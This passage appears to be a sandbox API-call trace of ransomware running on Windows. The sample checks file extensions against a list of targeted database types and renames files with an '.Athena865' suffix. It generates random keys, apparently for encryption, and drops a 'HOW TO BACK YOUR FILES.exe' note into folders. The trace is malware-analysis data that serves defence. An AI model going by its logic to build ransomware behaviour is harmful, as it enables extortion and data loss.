lpString2="accft") returned 1 [0040.471] lstrlenW (lpString="adb") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0040.471] lstrlenW (lpString="adb") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0040.471] lstrlenW (lpString="ade") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0040.471] lstrlenW (lpString="adf") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0040.471] lstrlenW (lpString="adn") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0040.471] lstrlenW (lpString="adp") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0040.471] lstrlenW (lpString="alf") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0040.471] lstrlenW (lpString="ask") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0040.471] lstrlenW (lpString="btr") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0040.471] lstrlenW (lpString="cat") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0040.471] lstrlenW (lpString="cdb") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0040.471] lstrlenW (lpString="ckp") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0040.471] lstrlenW (lpString="cma") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0040.471] lstrlenW (lpString="cpd") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0040.471] lstrlenW (lpString="dacpac") returned 6 [0040.471] lstrcmpiW (lpString1="wm.exe", lpString2="dacpac") returned 1 [0040.471] lstrlenW (lpString="dad") returned 3 [0040.471] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0040.472] lstrlenW (lpString="dadiagrams") returned 10 [0040.472] lstrcmpiW (lpString1="tup_wm.exe", lpString2="dadiagrams") returned 1 [0040.472] lstrlenW (lpString="daschema") returned 8 [0040.472] lstrcmpiW (lpString1="p_wm.exe", lpString2="daschema") returned 1 [0040.472] lstrlenW (lpString="db-journal") returned 10 [0040.472] lstrcmpiW (lpString1="tup_wm.exe", lpString2="db-journal") returned 1 [0040.472] lstrlenW (lpString="db-shm") returned 6 [0040.472] lstrcmpiW (lpString1="wm.exe", lpString2="db-shm") returned 1 [0040.472] lstrlenW (lpString="db-wal") returned 6 [0040.472] lstrcmpiW (lpString1="wm.exe", lpString2="db-wal") returned 1 [0040.472] lstrlenW (lpString="dbc") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0040.472] lstrlenW (lpString="dbs") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0040.472] lstrlenW (lpString="dbt") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0040.472] lstrlenW (lpString="dbv") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0040.472] lstrlenW (lpString="dbx") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0040.472] lstrlenW (lpString="dcb") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0040.472] lstrlenW (lpString="dct") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0040.472] lstrlenW (lpString="dcx") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0040.472] lstrlenW (lpString="ddl") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0040.472] lstrlenW (lpString="dlis") returned 4 [0040.472] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0040.472] lstrlenW (lpString="dp1") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0040.472] lstrlenW (lpString="dqy") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0040.472] lstrlenW (lpString="dsk") returned 3 [0040.472] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0040.473] lstrlenW (lpString="dsn") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0040.473] lstrlenW (lpString="dtsx") returned 4 [0040.473] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0040.473] lstrlenW (lpString="dxl") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0040.473] lstrlenW (lpString="eco") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0040.473] lstrlenW (lpString="ecx") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0040.473] lstrlenW (lpString="edb") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0040.473] lstrlenW (lpString="epim") returned 4 [0040.473] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0040.473] lstrlenW (lpString="fcd") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0040.473] lstrlenW (lpString="fdb") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0040.473] lstrlenW (lpString="fic") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0040.473] lstrlenW (lpString="flexolibrary") returned 12 [0040.473] lstrlenW (lpString="fm5") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0040.473] lstrlenW (lpString="fmp") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0040.473] lstrlenW (lpString="fmp12") returned 5 [0040.473] lstrcmpiW (lpString1="m.exe", lpString2="fmp12") returned 1 [0040.473] lstrlenW (lpString="fmpsl") returned 5 [0040.473] lstrcmpiW (lpString1="m.exe", lpString2="fmpsl") returned 1 [0040.473] lstrlenW (lpString="fol") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0040.473] lstrlenW (lpString="fp3") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0040.473] lstrlenW (lpString="fp4") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0040.473] lstrlenW (lpString="fp5") returned 3 [0040.473] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0040.473] lstrlenW (lpString="fp7") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0040.474] lstrlenW (lpString="fpt") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0040.474] lstrlenW (lpString="frm") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0040.474] lstrlenW (lpString="gdb") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0040.474] lstrlenW (lpString="gdb") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0040.474] lstrlenW (lpString="grdb") returned 4 [0040.474] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0040.474] lstrlenW (lpString="gwi") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0040.474] lstrlenW (lpString="hdb") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0040.474] lstrlenW (lpString="his") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0040.474] lstrlenW (lpString="ib") returned 2 [0040.474] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0040.474] lstrlenW (lpString="idb") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0040.474] lstrlenW (lpString="ihx") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0040.474] lstrlenW (lpString="itdb") returned 4 [0040.474] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0040.474] lstrlenW (lpString="itw") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0040.474] lstrlenW (lpString="jet") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0040.474] lstrlenW (lpString="jtx") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0040.474] lstrlenW (lpString="kdb") returned 3 [0040.474] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0040.474] lstrlenW (lpString="kexi") returned 4 [0040.474] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0040.474] lstrlenW (lpString="kexic") returned 5 [0040.475] lstrcmpiW (lpString1="m.exe", lpString2="kexic") returned 1 [0040.475] lstrlenW (lpString="kexis") returned 5 [0040.475] lstrcmpiW (lpString1="m.exe", lpString2="kexis") returned 1 [0040.475] lstrlenW (lpString="lgc") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0040.475] lstrlenW (lpString="lwx") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0040.475] lstrlenW (lpString="maf") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0040.475] lstrlenW (lpString="maq") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0040.475] lstrlenW (lpString="mar") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0040.475] lstrlenW (lpString="marshal") returned 7 [0040.475] lstrcmpiW (lpString1="_wm.exe", lpString2="marshal") returned -1 [0040.475] lstrlenW (lpString="mas") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0040.475] lstrlenW (lpString="mav") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0040.475] lstrlenW (lpString="maw") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0040.475] lstrlenW (lpString="mdbhtml") returned 7 [0040.475] lstrcmpiW (lpString1="_wm.exe", lpString2="mdbhtml") returned -1 [0040.475] lstrlenW (lpString="mdn") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0040.475] lstrlenW (lpString="mdt") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0040.475] lstrlenW (lpString="mfd") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0040.475] lstrlenW (lpString="mpd") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0040.475] lstrlenW (lpString="mrg") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0040.475] lstrlenW (lpString="mud") returned 3 [0040.475] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0040.475] lstrlenW (lpString="mwb") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0040.476] lstrlenW (lpString="myd") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0040.476] lstrlenW (lpString="ndf") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0040.476] lstrlenW (lpString="nnt") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0040.476] lstrlenW (lpString="nrmlib") returned 6 [0040.476] lstrcmpiW (lpString1="wm.exe", lpString2="nrmlib") returned 1 [0040.476] lstrlenW (lpString="ns2") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0040.476] lstrlenW (lpString="ns3") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0040.476] lstrlenW (lpString="ns4") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0040.476] lstrlenW (lpString="nsf") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0040.476] lstrlenW (lpString="nv") returned 2 [0040.476] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0040.476] lstrlenW (lpString="nv2") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0040.476] lstrlenW (lpString="nwdb") returned 4 [0040.476] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0040.476] lstrlenW (lpString="nyf") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0040.476] lstrlenW (lpString="odb") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0040.476] lstrlenW (lpString="odb") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0040.476] lstrlenW (lpString="oqy") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0040.476] lstrlenW (lpString="ora") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0040.476] lstrlenW (lpString="orx") returned 3 [0040.476] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0040.476] lstrlenW (lpString="owc") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0040.477] lstrlenW (lpString="p96") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0040.477] lstrlenW (lpString="p97") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0040.477] lstrlenW (lpString="pan") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0040.477] lstrlenW (lpString="pdb") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0040.477] lstrlenW (lpString="pdm") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0040.477] lstrlenW (lpString="pnz") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0040.477] lstrlenW (lpString="qry") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0040.477] lstrlenW (lpString="qvd") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0040.477] lstrlenW (lpString="rbf") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0040.477] lstrlenW (lpString="rctd") returned 4 [0040.477] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0040.477] lstrlenW (lpString="rod") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0040.477] lstrlenW (lpString="rodx") returned 4 [0040.477] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0040.477] lstrlenW (lpString="rpd") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0040.477] lstrlenW (lpString="rsd") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0040.477] lstrlenW (lpString="sas7bdat") returned 8 [0040.477] lstrcmpiW (lpString1="p_wm.exe", lpString2="sas7bdat") returned -1 [0040.477] lstrlenW (lpString="sbf") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0040.477] lstrlenW (lpString="scx") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0040.477] lstrlenW (lpString="sdb") returned 3 [0040.477] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0040.477] lstrlenW (lpString="sdc") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0040.478] lstrlenW (lpString="sdf") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0040.478] lstrlenW (lpString="sis") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0040.478] lstrlenW (lpString="spq") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0040.478] lstrlenW (lpString="te") returned 2 [0040.478] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0040.478] lstrlenW (lpString="teacher") returned 7 [0040.478] lstrcmpiW (lpString1="_wm.exe", lpString2="teacher") returned -1 [0040.478] lstrlenW (lpString="tmd") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0040.478] lstrlenW (lpString="tps") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0040.478] lstrlenW (lpString="trc") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0040.478] lstrlenW (lpString="trc") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0040.478] lstrlenW (lpString="trm") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0040.478] lstrlenW (lpString="udb") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0040.478] lstrlenW (lpString="udl") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0040.478] lstrlenW (lpString="usr") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0040.478] lstrlenW (lpString="v12") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0040.478] lstrlenW (lpString="vis") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0040.478] lstrlenW (lpString="vpd") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0040.478] lstrlenW (lpString="vvv") returned 3 [0040.478] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0040.478] lstrlenW (lpString="wdb") returned 3 [0040.479] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0040.479] lstrlenW (lpString="wmdb") returned 4 [0040.479] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0040.479] lstrlenW (lpString="wrk") returned 3 [0040.479] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0040.479] lstrlenW (lpString="xdb") returned 3 [0040.479] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0040.479] lstrlenW (lpString="xld") returned 3 [0040.479] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0040.479] lstrlenW (lpString="xmlff") returned 5 [0040.479] lstrcmpiW (lpString1="m.exe", lpString2="xmlff") returned -1 [0040.479] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\setup_wm.exe.Athena865") returned 60 [0040.479] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\setup_wm.exe" (normalized: "c:\\program files\\windows media player\\setup_wm.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\setup_wm.exe.Athena865" (normalized: "c:\\program files\\windows media player\\setup_wm.exe.athena865"), dwFlags=0x1) returned 1 [0040.479] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\setup_wm.exe.Athena865" (normalized: "c:\\program files\\windows media player\\setup_wm.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0040.480] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2078208) returned 1 [0040.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0040.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0040.480] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0040.480] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0040.481] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0040.481] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.481] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fb900, lpName=0x0) returned 0x17c [0040.482] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1fb900) returned 0x2d50000 [0040.568] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0040.569] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0040.569] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0040.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d318 [0040.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0040.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0040.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0040.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0040.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0040.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0040.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0040.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0040.569] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0040.587] CloseHandle (hObject=0x17c) returned 1 [0040.587] CloseHandle (hObject=0x154) returned 1 [0040.615] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0040.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0040.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0040.624] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9874cd8b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9874cd8b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Skins", cAlternateFileName="")) returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2=".") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="..") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="windows") returned -1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="bootmgr") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="temp") returned -1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="pagefile.sys") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="boot") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="ids.txt") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="ntuser.dat") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="perflogs") returned 1 [0040.624] lstrcmpiW (lpString1="Skins", lpString2="MSBuild") returned 1 [0040.624] lstrlenW (lpString="Skins") returned 5 [0040.624] lstrcpyW (in: lpString1=0x241e894, lpString2="Skins" | out: lpString1="Skins") returned="Skins" [0040.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f7f0 [0040.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x5291f0 [0040.625] lstrcatW (in: lpString1="Skins", lpString2="\\" | out: lpString1="Skins\\") returned="Skins\\" [0040.625] lstrcatW (in: lpString1="Skins\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Skins\\HOW TO BACK YOUR FILES.exe") returned="Skins\\HOW TO BACK YOUR FILES.exe" [0040.625] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Skins\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\skins\\how to back your files.exe"), bFailIfExists=1) returned 1 [0040.629] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0040.629] lstrcmpiW (lpString1="Visualizations", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.629] lstrcmpiW (lpString1="Visualizations", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.629] lstrcmpiW (lpString1="Visualizations", lpString2=".") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="..") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="windows") returned -1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="bootmgr") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="temp") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="pagefile.sys") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="boot") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="ids.txt") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="ntuser.dat") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="perflogs") returned 1 [0040.630] lstrcmpiW (lpString1="Visualizations", lpString2="MSBuild") returned 1 [0040.630] lstrlenW (lpString="Visualizations") returned 14 [0040.630] lstrcpyW (in: lpString1=0x241e894, lpString2="Visualizations" | out: lpString1="Visualizations") returned="Visualizations" [0040.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f808 [0040.630] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d2a0 [0040.630] lstrcatW (in: lpString1="Visualizations", lpString2="\\" | out: lpString1="Visualizations\\") returned="Visualizations\\" [0040.630] lstrcatW (in: lpString1="Visualizations\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Visualizations\\HOW TO BACK YOUR FILES.exe") returned="Visualizations\\HOW TO BACK YOUR FILES.exe" [0040.630] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\visualizations\\how to back your files.exe"), bFailIfExists=1) returned 1 [0040.633] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ee55f9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa8ee55f9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa8ee55f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x40400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2=".") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", lpString2="..") returned 1 [0040.633] lstrcmpiW (lpString1="wmlaunch.exe", 